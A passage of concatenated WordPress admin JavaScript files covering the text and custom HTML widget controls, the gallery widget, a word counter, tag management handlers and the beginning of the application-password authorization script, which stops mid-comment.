wp.textWidgets=function(r){"use strict";var u={dismissedPointers:[],idBases:["text"]};return u.TextWidgetControl=Backbone.View.extend({events:{},initialize:function(e){var n=this;if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");Backbone.View.prototype.initialize.call(n,e),n.syncContainer=e.syncContainer,n.$el.addClass("text-widget-fields"),n.$el.html(wp.template("widget-text-control-fields")),n.customHtmlWidgetPointer=n.$el.find(".wp-pointer.custom-html-widget-pointer"),n.customHtmlWidgetPointer.length&&(n.customHtmlWidgetPointer.find(".close").on("click",function(e){e.preventDefault(),n.customHtmlWidgetPointer.hide(),r("#"+n.fields.text.attr("id")+"-html").trigger("focus"),n.dismissPointers(["text_widget_custom_html"])}),n.customHtmlWidgetPointer.find(".add-widget").on("click",function(e){e.preventDefault(),n.customHtmlWidgetPointer.hide(),n.openAvailableWidgetsPanel()})),n.pasteHtmlPointer=n.$el.find(".wp-pointer.paste-html-pointer"),n.pasteHtmlPointer.length&&n.pasteHtmlPointer.find(".close").on("click",function(e){e.preventDefault(),n.pasteHtmlPointer.hide(),n.editor.focus(),n.dismissPointers(["text_widget_custom_html","text_widget_paste_html"])}),n.fields={title:n.$el.find(".title"),text:n.$el.find(".text")},_.each(n.fields,function(t,i){t.on("input change",function(){var e=n.syncContainer.find(".sync-input."+i);e.val()!==t.val()&&(e.val(t.val()),e.trigger("change"))}),t.val(n.syncContainer.find(".sync-input."+i).val())})},dismissPointers:function(e){_.each(e,function(e){wp.ajax.post("dismiss-wp-pointer",{pointer:e}),u.dismissedPointers.push(e)})},openAvailableWidgetsPanel:function(){var t;wp.customize.section.each(function(e){e.extended(wp.customize.Widgets.SidebarSection)&&e.expanded()&&(t=wp.customize.control("sidebars_widgets["+e.params.sidebarId+"]"))}),t&&setTimeout(function(){wp.customize.Widgets.availableWidgetsPanel.open(t),wp.customize.Widgets.availableWidgetsPanel.$search.val("HTML").trigger("keyup")})},updateFields:function(){var e,t=this;t.fields.title.is(document.activeElement)||(e=t.syncContainer.find(".sync-input.title"),t.fields.title.val(e.val())),e=t.syncContainer.find(".sync-input.text"),t.fields.text.is(":visible")?t.fields.text.is(document.activeElement)||t.fields.text.val(e.val()):t.editor&&!t.editorFocused&&e.val()!==t.fields.text.val()&&t.editor.setContent(wp.oldEditor.autop(e.val()))},initializeEditor:function(){var d,e,o,t,s=this,a=1e3,l=!1,c=!1;e=s.fields.text,d=e.attr("id"),t=e.val(),o=function(){s.editor.isDirty()&&(wp.customize&&wp.customize.state&&(wp.customize.state("processing").set(wp.customize.state("processing").get()+1),_.delay(function(){wp.customize.state("processing").set(wp.customize.state("processing").get()-1)},300)),s.editor.isHidden()||s.editor.save()),c&&t!==e.val()&&(e.trigger("change"),c=!1,t=e.val())},s.syncContainer.closest(".widget").find("[name=savewidget]:first").on("click",function(){o()}),function e(){var t,i,n;if(document.getElementById(d))if(void 0===window.tinymce)wp.oldEditor.initialize(d,{quicktags:!0,mediaButtons:!0});else{if(tinymce.get(d)&&(l=tinymce.get(d).isHidden(),wp.oldEditor.remove(d)),r(document).one("wp-before-tinymce-init.text-widget-init",function(e,t){t.plugins&&!/\bwpview\b/.test(t.plugins)&&(t.plugins+=",wpview")}),wp.oldEditor.initialize(d,{tinymce:{wpautop:!0},quicktags:!0,mediaButtons:!0}),n=function(e){e.show(),e.find(".close").trigger("focus"),wp.a11y.speak(e.find("h3, p").map(function(){return r(this).text()}).get().join("\n\n"))},!(t=window.tinymce.get(d)))throw new Error("Failed to initialize editor");i=function(){r(t.getWin()).on("pagehide",function(){_.defer(e)}),l&&switchEditors.go(d,"html"),r("#"+d+"-html").on("click",function(){s.pasteHtmlPointer.hide(),-1===u.dismissedPointers.indexOf("text_widget_custom_html")&&n(s.customHtmlWidgetPointer)}),r("#"+d+"-tmce").on("click",function(){s.customHtmlWidgetPointer.hide()}),t.on("pastepreprocess",function(e){e=e.content,-1===u.dismissedPointers.indexOf("text_widget_paste_html")&&e&&/&lt;\w+.*?&gt;/.test(e)&&_.delay(function(){n(s.pasteHtmlPointer)},250)})},t.initialized?i():t.on("init",i),s.editorFocused=!1,t.on("focus",function(){s.editorFocused=!0}),t.on("paste",function(){t.setDirty(!0),o()}),t.on("NodeChange",function(){c=!0}),t.on("NodeChange",_.debounce(o,a)),t.on("blur hide",function(){s.editorFocused=!1,o()}),s.editor=t}}()}}),u.widgetControls={},u.handleWidgetAdded=function(e,t){var i,n,d,o=t.find("> .widget-inside > .form, > .widget-inside > form"),s=o.find("> .id_base").val();-1===u.idBases.indexOf(s)||(s=o.find(".widget-id").val(),u.widgetControls[s])||o.find(".visual").val()&&(o=r("<div></div>"),(d=t.find(".widget-content:first")).before(o),i=new u.TextWidgetControl({el:o,syncContainer:d}),u.widgetControls[s]=i,(n=function(){t.hasClass("open")?i.initializeEditor():setTimeout(n,50)})())},u.setupAccessibleMode=function(){var e,t=r(".editwidget > form");0!==t.length&&(e=t.find(".id_base").val(),-1!==u.idBases.indexOf(e))&&t.find(".visual").val()&&(e=r("<div></div>"),(t=t.find("> .widget-inside")).before(e),new u.TextWidgetControl({el:e,syncContainer:t}).initializeEditor())},u.handleWidgetUpdated=function(e,t){var t=t.find("> .widget-inside > .form, > .widget-inside > form"),i=t.find("> .id_base").val();-1!==u.idBases.indexOf(i)&&(i=t.find("> .widget-id").val(),t=u.widgetControls[i])&&t.updateFields()},u.init=function(){var e=r(document);e.on("widget-added",u.handleWidgetAdded),e.on("widget-synced widget-updated",u.handleWidgetUpdated),r(function(){"widgets"===window.pagenow&&(r(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=r(this);u.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),u.setupAccessibleMode())})},u}(jQuery);/**
 * @output wp-admin/js/widgets/custom-html-widgets.js
 */

/* global wp */
/* eslint consistent-this: [ "error", "control" ] */
/* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */

/**
 * @namespace wp.customHtmlWidget
 * @memberOf wp
 */
wp.customHtmlWidgets = ( function( $ ) {
	'use strict';

	var component = {
		idBases: [ 'custom_html' ],
		codeEditorSettings: {},
		l10n: {
			errorNotice: {
				singular: '',
				plural: ''
			}
		}
	};

	component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl
		 * @augments Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;
			control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val();
			control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val();
			control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']';

			control.$el.addClass( 'custom-html-widget-fields' );
			control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) );

			control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' );
			control.currentErrorAnnotations = [];
			control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' );
			control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting.

			control.fields = {
				title: control.$el.find( '.title' ),
				content: control.$el.find( '.content' )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( 'input change', function updateSyncField() {
					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( 'change' );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( '.sync-input.title' );
				control.fields.title.val( syncInput.val() );
			}

			/*
			 * Prevent updating content when the editor is focused or if there are current error annotations,
			 * to prevent the editor's contents from getting sanitized as soon as a user removes focus from
			 * the editor. This is particularly important for users who cannot unfiltered_html.
			 */
			control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length;
			if ( ! control.contentUpdateBypassed ) {
				syncInput = control.syncContainer.find( '.sync-input.content' );
				control.fields.content.val( syncInput.val() );
			}
		},

		/**
		 * Show linting error notice.
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		updateErrorNotice: function( errorAnnotations ) {
			var control = this, errorNotice, message = '', customizeSetting;

			if ( 1 === errorAnnotations.length ) {
				message = component.l10n.errorNotice.singular.replace( '%d', '1' );
			} else if ( errorAnnotations.length > 1 ) {
				message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) );
			}

			if ( control.fields.content[0].setCustomValidity ) {
				control.fields.content[0].setCustomValidity( message );
			}

			if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) {
				customizeSetting = wp.customize( control.customizeSettingId );
				customizeSetting.notifications.remove( 'htmlhint_error' );
				if ( 0 !== errorAnnotations.length ) {
					customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', {
						message: message,
						type: 'error'
					} ) );
				}
			} else if ( 0 !== errorAnnotations.length ) {
				errorNotice = $( '<div class="inline notice notice-error notice-alt"></div>' );
				errorNotice.append( $( '<p></p>', {
					text: message
				} ) );
				control.errorNoticeContainer.empty();
				control.errorNoticeContainer.append( errorNotice );
				control.errorNoticeContainer.slideDown( 'fast' );
				wp.a11y.speak( message );
			} else {
				control.errorNoticeContainer.slideUp( 'fast' );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, settings;

			if ( component.codeEditorSettings.disabled ) {
				return;
			}

			settings = _.extend( {}, component.codeEditorSettings, {

				/**
				 * Handle tabbing to the field before the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabPrevious: function onTabPrevious() {
					control.fields.title.focus();
				},

				/**
				 * Handle tabbing to the field after the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabNext: function onTabNext() {
					var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' );
					tabbables.first().focus();
				},

				/**
				 * Disable save button and store linting errors for use in updateFields.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error notifications.
				 * @return {void}
				 */
				onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) {
					control.currentErrorAnnotations = errorAnnotations;
				},

				/**
				 * Update error notice.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error annotations.
				 * @return {void}
				 */
				onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
					control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 );
					control.updateErrorNotice( errorAnnotations );
				}
			});

			control.editor = wp.codeEditor.initialize( control.fields.content, settings );

			// Improve the editor accessibility.
			$( control.editor.codemirror.display.lineDiv )
				.attr({
					role: 'textbox',
					'aria-multiline': 'true',
					'aria-labelledby': control.fields.content[0].id + '-label',
					'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
				});

			// Focus the editor when clicking on its label.
			$( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() {
				control.editor.codemirror.focus();
			});

			control.fields.content.on( 'change', function() {
				if ( this.value !== control.editor.codemirror.getValue() ) {
					control.editor.codemirror.setValue( this.value );
				}
			});
			control.editor.codemirror.on( 'change', function() {
				var value = control.editor.codemirror.getValue();
				if ( value !== control.fields.content.val() ) {
					control.fields.content.val( value ).trigger( 'change' );
				}
			});

			// Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused.
			control.editor.codemirror.on( 'blur', function() {
				if ( control.contentUpdateBypassed ) {
					control.syncContainer.find( '.sync-input.content' ).trigger( 'change' );
				}
			});

			// Prevent hitting Esc from collapsing the widget control.
			if ( wp.customize ) {
				control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
					var escKeyCode = 27;
					if ( escKeyCode === event.keyCode ) {
						event.stopPropagation();
					}
				});
			}
		}
	});

	/**
	 * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses.
	 *
	 * @alias wp.customHtmlWidgets.widgetControls
	 *
	 * @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetAdded
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( '.widget-id' ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and the editor can be initialized.
		 */
		renderWhenAnimationDone = function() {
			if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://github.com/xwp/wordpress-develop/pull/247/commits/5322387d
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @alias wp.customHtmlWidgets.setupAccessibleMode
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetUpdated
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-id' ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @alias wp.customHtmlWidgets.init
	 *
	 * @param {Object} settings - Options for code editor, exported from PHP.
	 *
	 * @return {void}
	 */
	component.init = function init( settings ) {
		var $document = $( document );
		_.extend( component.codeEditorSettings, settings );

		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			if ( document.readyState === 'complete' ) {
				// Page is fully loaded.
				component.setupAccessibleMode();
			} else {
				// Page is still loading.
				$( window ).on( 'load', function() {
					component.setupAccessibleMode();
				});
			}
		});
	};

	return component;
})( jQuery );
/*! This file is auto-generated */
!function(i){"use strict";var a=wp.media.view.MediaFrame.Post.extend({createStates:function(){this.states.add([new wp.media.controller.Library({id:"gallery",title:wp.media.view.l10n.createGalleryTitle,priority:40,toolbar:"main-gallery",filterable:"uploaded",multiple:"add",editable:!0,library:wp.media.query(_.defaults({type:"image"},this.options.library))}),new wp.media.controller.GalleryEdit({library:this.options.selection,editing:this.options.editing,menu:"gallery"}),new wp.media.controller.GalleryAdd])}}),e=i.MediaWidgetModel.extend({}),t=i.MediaWidgetControl.extend({events:_.extend({},i.MediaWidgetControl.prototype.events,{"click .media-widget-gallery-preview":"editMedia"}),initialize:function(e){var t=this;i.MediaWidgetControl.prototype.initialize.call(t,e),_.bindAll(t,"updateSelectedAttachments","handleAttachmentDestroy"),t.selectedAttachments=new wp.media.model.Attachments,t.model.on("change:ids",t.updateSelectedAttachments),t.selectedAttachments.on("change",t.renderPreview),t.selectedAttachments.on("reset",t.renderPreview),t.updateSelectedAttachments(),wp.customize&&wp.customize.previewer&&t.selectedAttachments.on("change",function(){wp.customize.previewer.send("refresh-widget-partial",t.model.get("widget_id"))})},updateSelectedAttachments:function(){var e,t=this,i=t.model.get("ids"),d=_.pluck(t.selectedAttachments.models,"id"),a=_.difference(d,i);_.each(a,function(e){t.selectedAttachments.remove(t.selectedAttachments.get(e))}),_.difference(i,d).length&&(e=wp.media.query({order:"ASC",orderby:"post__in",perPage:-1,post__in:i,query:!0,type:"image"})).more().done(function(){t.selectedAttachments.reset(e.models)})},renderPreview:function(){var e=this,t=e.$el.find(".media-widget-preview"),i=wp.template("wp-media-widget-gallery-preview"),d=e.previewTemplateProps.toJSON();d.attachments={},e.selectedAttachments.each(function(e){d.attachments[e.id]=e.toJSON()}),t.html(i(d))},isSelected:function(){return!this.model.get("error")&&0<this.model.get("ids").length},editMedia:function(){var i,d=this,e=new wp.media.model.Selection(d.selectedAttachments.models,{multiple:!0}),t=d.mapModelToMediaFrameProps(d.model.toJSON());e.gallery=new Backbone.Model(t),t.size&&d.displaySettings.set("size",t.size),i=new a({frame:"manage",text:d.l10n.add_to_widget,selection:e,mimeType:d.mime_type,selectedDisplaySettings:d.displaySettings,showDisplaySettings:d.showDisplaySettings,metadata:t,editing:!0,multiple:!0,state:"gallery-edit"}),(wp.media.frame=i).on("update",function(e){var t=i.state(),e=e||t.get("selection");e&&(e.gallery&&d.model.set(d.mapMediaToModelProps(e.gallery.toJSON())),d.selectedAttachments.reset(e.models),d.model.set({ids:_.pluck(e.models,"id")}))}),i.$el.addClass("media-widget"),i.open(),e&&e.on("destroy",d.handleAttachmentDestroy)},selectMedia:function(){var i,d=this,e=new wp.media.model.Selection(d.selectedAttachments.models,{multiple:!0}),t=d.mapModelToMediaFrameProps(d.model.toJSON());t.size&&d.displaySettings.set("size",t.size),i=new a({frame:"select",text:d.l10n.add_to_widget,selection:e,mimeType:d.mime_type,selectedDisplaySettings:d.displaySettings,showDisplaySettings:d.showDisplaySettings,metadata:t,state:"gallery"}),(wp.media.frame=i).on("update",function(e){var t=i.state(),e=e||t.get("selection");e&&(e.gallery&&d.model.set(d.mapMediaToModelProps(e.gallery.toJSON())),d.selectedAttachments.reset(e.models),d.model.set({ids:_.pluck(e.models,"id")}))}),i.$el.addClass("media-widget"),i.open(),e&&e.on("destroy",d.handleAttachmentDestroy),i.$el.find(":focusable:first").focus()},handleAttachmentDestroy:function(e){this.model.set({ids:_.difference(this.model.get("ids"),[e.id])})}});i.controlConstructors.media_gallery=t,i.modelConstructors.media_gallery=e}(wp.mediaWidgets);/*! This file is auto-generated */
!function(){function e(e){var t,s;if(e)for(t in e)e.hasOwnProperty(t)&&(this.settings[t]=e[t]);(s=this.settings.l10n.shortcodes)&&s.length&&(this.settings.shortcodesRegExp=new RegExp("\\[\\/?(?:"+s.join("|")+")[^\\]]*?\\]","g"))}e.prototype.settings={HTMLRegExp:/<\/?[a-z][^>]*?>/gi,HTMLcommentRegExp:/<!--[\s\S]*?-->/g,spaceRegExp:/&nbsp;|&#160;/gi,HTMLEntityRegExp:/&\S+?;/g,connectorRegExp:/--|\u2014/g,removeRegExp:new RegExp(["[","!-@[-`{-~","\x80-\xbf\xd7\xf7","\u2000-\u2bff","\u2e00-\u2e7f","]"].join(""),"g"),astralRegExp:/[\uD800-\uDBFF][\uDC00-\uDFFF]/g,wordsRegExp:/\S\s+/g,characters_excluding_spacesRegExp:/\S/g,characters_including_spacesRegExp:/[^\f\n\r\t\v\u00AD\u2028\u2029]/g,l10n:window.wordCountL10n||{}},e.prototype.count=function(e,t){var s=0;return"characters_excluding_spaces"!==(t=t||this.settings.l10n.type)&&"characters_including_spaces"!==t&&(t="words"),s=e&&(e=(e=(e+="\n").replace(this.settings.HTMLRegExp,"\n")).replace(this.settings.HTMLcommentRegExp,""),e=(e=this.settings.shortcodesRegExp?e.replace(this.settings.shortcodesRegExp,"\n"):e).replace(this.settings.spaceRegExp," "),e=(e="words"===t?(e=(e=e.replace(this.settings.HTMLEntityRegExp,"")).replace(this.settings.connectorRegExp," ")).replace(this.settings.removeRegExp,""):(e=e.replace(this.settings.HTMLEntityRegExp,"a")).replace(this.settings.astralRegExp,"a")).match(this.settings[t+"RegExp"]))?e.length:s},window.wp=window.wp||{},window.wp.utils=window.wp.utils||{},window.wp.utils.WordCounter=e}();/**
 * Contains logic for deleting and adding tags.
 *
 * For deleting tags it makes a request to the server to delete the tag.
 * For adding tags it makes a request to the server to add the tag.
 *
 * @output wp-admin/js/tags.js
 */

 /* global ajaxurl, wpAjax, showNotice, validateForm */

jQuery( function($) {

	var addingTerm = false;

	/**
	 * Adds an event handler to the delete term link on the term overview page.
	 *
	 * Cancels default event handling and event bubbling.
	 *
	 * @since 2.8.0
	 *
	 * @return {boolean} Always returns false to cancel the default event handling.
	 */
	$( '#the-list' ).on( 'click', '.delete-tag', function() {
		var t = $(this), tr = t.parents('tr'), r = true, data;

		if ( 'undefined' != showNotice )
			r = showNotice.warn();

		if ( r ) {
			data = t.attr('href').replace(/[^?]*\?/, '').replace(/action=delete/, 'action=delete-tag');

			/**
			 * Makes a request to the server to delete the term that corresponds to the
			 * delete term button.
			 *
			 * @param {string} r The response from the server.
			 *
			 * @return {void}
			 */
			$.post(ajaxurl, data, function(r){
				if ( '1' == r ) {
					$('#ajax-response').empty();
					tr.fadeOut('normal', function(){ tr.remove(); });

					/**
					 * Removes the term from the parent box and the tag cloud.
					 *
					 * `data.match(/tag_ID=(\d+)/)[1]` matches the term ID from the data variable.
					 * This term ID is then used to select the relevant HTML elements:
					 * The parent box and the tag cloud.
					 */
					$('select#parent option[value="' + data.match(/tag_ID=(\d+)/)[1] + '"]').remove();
					$('a.tag-link-' + data.match(/tag_ID=(\d+)/)[1]).remove();

				} else if ( '-1' == r ) {
					$('#ajax-response').empty().append('<div class="error"><p>' + wp.i18n.__( 'Sorry, you are not allowed to do that.' ) + '</p></div>');
					tr.children().css('backgroundColor', '');

				} else {
					$('#ajax-response').empty().append('<div class="error"><p>' + wp.i18n.__( 'Something went wrong.' ) + '</p></div>');
					tr.children().css('backgroundColor', '');
				}
			});

			tr.children().css('backgroundColor', '#f33');
		}

		return false;
	});

	/**
	 * Adds a deletion confirmation when removing a tag.
	 *
	 * @since 4.8.0
	 *
	 * @return {void}
	 */
	$( '#edittag' ).on( 'click', '.delete', function( e ) {
		if ( 'undefined' === typeof showNotice ) {
			return true;
		}

		// Confirms the deletion, a negative response means the deletion must not be executed.
		var response = showNotice.warn();
		if ( ! response ) {
			e.preventDefault();
		}
	});

	/**
	 * Adds an event handler to the form submit on the term overview page.
	 *
	 * Cancels default event handling and event bubbling.
	 *
	 * @since 2.8.0
	 *
	 * @return {boolean} Always returns false to cancel the default event handling.
	 */
	$('#submit').on( 'click', function(){
		var form = $(this).parents('form');

		if ( addingTerm ) {
			// If we're adding a term, noop the button to avoid duplicate requests.
			return false;
		}

		addingTerm = true;
		form.find( '.submit .spinner' ).addClass( 'is-active' );

		/**
		 * Does a request to the server to add a new term to the database
		 *
		 * @param {string} r The response from the server.
		 *
		 * @return {void}
		 */
		$.post(ajaxurl, $('#addtag').serialize(), function(r){
			var res, parent, term, indent, i;

			addingTerm = false;
			form.find( '.submit .spinner' ).removeClass( 'is-active' );

			$('#ajax-response').empty();
			res = wpAjax.parseAjaxResponse( r, 'ajax-response' );

			if ( res.errors && res.responses[0].errors[0].code === 'empty_term_name' ) {
				validateForm( form );
			}

			if ( ! res || res.errors ) {
				return;
			}

			parent = form.find( 'select#parent' ).val();

			// If the parent exists on this page, insert it below. Else insert it at the top of the list.
			if ( parent > 0 && $('#tag-' + parent ).length > 0 ) {
				// As the parent exists, insert the version with - - - prefixed.
				$( '.tags #tag-' + parent ).after( res.responses[0].supplemental.noparents );
			} else {
				// As the parent is not visible, insert the version with Parent - Child - ThisTerm.
				$( '.tags' ).prepend( res.responses[0].supplemental.parents );
			}

			$('.tags .no-items').remove();

			if ( form.find('select#parent') ) {
				// Parents field exists, Add new term to the list.
				term = res.responses[1].supplemental;

				// Create an indent for the Parent field.
				indent = '';
				for ( i = 0; i < res.responses[1].position; i++ )
					indent += '&nbsp;&nbsp;&nbsp;';

				form.find( 'select#parent option:selected' ).after( '<option value="' + term.term_id + '">' + indent + term.name + '</option>' );
			}

			$('input:not([type="checkbox"]):not([type="radio"]):not([type="button"]):not([type="submit"]):not([type="reset"]):visible, textarea:visible', form).val('');
		});

		return false;
	});

});
/**
 * @output wp-admin/js/auth-app.js
 */

/* global authApp */

( function( $, authApp ) {
	var $appNameField = $( '#app_name' ),
		$approveBtn = $( '#approve' ),
		$rejectBtn = $( '#reject' ),
		$form = $appNameField.closest( 'form' ),
		context = {
			userLogin: authApp.user_login,
			successUrl: authApp.success,
			rejectUrl: authApp.reject
		};

	$approveBtn.on( 'click', function( e ) {
		var name = $appNameField.val(),
			appId = $( 'input[name="app_id"]', $form ).val();

		e.preventDefault();

		if ( $approveBtn.prop( 'aria-disabled' ) ) {
			return;
		}

		if ( 0 === name.length ) {
			$appNameField.trigger( 'focus' );
			return;
		}

		$approveBtn.prop( 'aria-disabled', true ).addClass( 'disabled' );

		var request = {
			name: name
		};

		if ( appId.length > 0 ) {
			request.app_id = appId;
		}

		/**
		 * Filters the request data used to Authorize an Application Password request.
		 *
		 * @since 5.6.0
		 *
		 * @param {Object} request            The request data.
		 * @param {Object} context            Context about the Application Password request.
		 * @param {string} context.userLogin  The user's login username.
		 * @param {string} context.successUrl The URL the user will be redirected to after approving the request.
		 * @param {string} context.rejectUrl  The URL the user will be redirected to after rejecting the request.
		 */
		request = wp.hooks.applyFilters( 'wp_application_passwords_approve_app_request', request, context );

		wp.apiRequest( {
			path: '/wp/v2/users/me/application-passwords?_locale=user',
			method: 'POST',
			data: request
		} ).done( function( response, textStatus, jqXHR ) {

			/**
			 * Fires when an Authorize Application Password request has been successfully approved.
			 *
			 * In most cases, this should be used in combination with the {@see 'wp_authorize_application_password_form_approved_no_js'}
